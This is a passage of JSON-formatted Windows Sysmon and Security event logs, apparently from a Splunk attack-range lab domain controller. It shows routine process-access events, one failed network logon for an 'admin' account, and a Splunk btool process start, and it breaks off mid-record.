11:49:58.375","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1774,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.375\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.375","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1775,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.375\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.375","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1776,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.375\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.375","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1777,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.375\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.375","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1778,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.375\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE6-5F2D-0000-001051180300}\r\nTargetProcessId: 2412\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.375","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE6-5F2D-0000-001051180300}","TargetProcessId":"2412","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221482,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t59210\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"59210","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1779,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.609\r\nSourceProcessGUID: {90617006-3FE6-5F2D-0000-001051180300}\r\nSourceProcessId: 2412\r\nSourceThreadId: 2400\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.609","SourceProcessGUID":"{90617006-3FE6-5F2D-0000-001051180300}","SourceProcessId":"2412","SourceThreadId":"2400","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","TargetProcessId":"2820","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1780,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.609\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE6-5F2D-0000-001051180300}\r\nTargetProcessId: 2412\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.609","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE6-5F2D-0000-001051180300}","TargetProcessId":"2412","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1781,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.666\r\nProcessGuid: {90617006-3FE6-5F2D-0000-00104F1F0300}\r\nProcessId: 3744\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nFileVersion: 8.0.2\r\nDescription: btool\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: btool.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool\" check --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B\r\nParentProcessGuid: 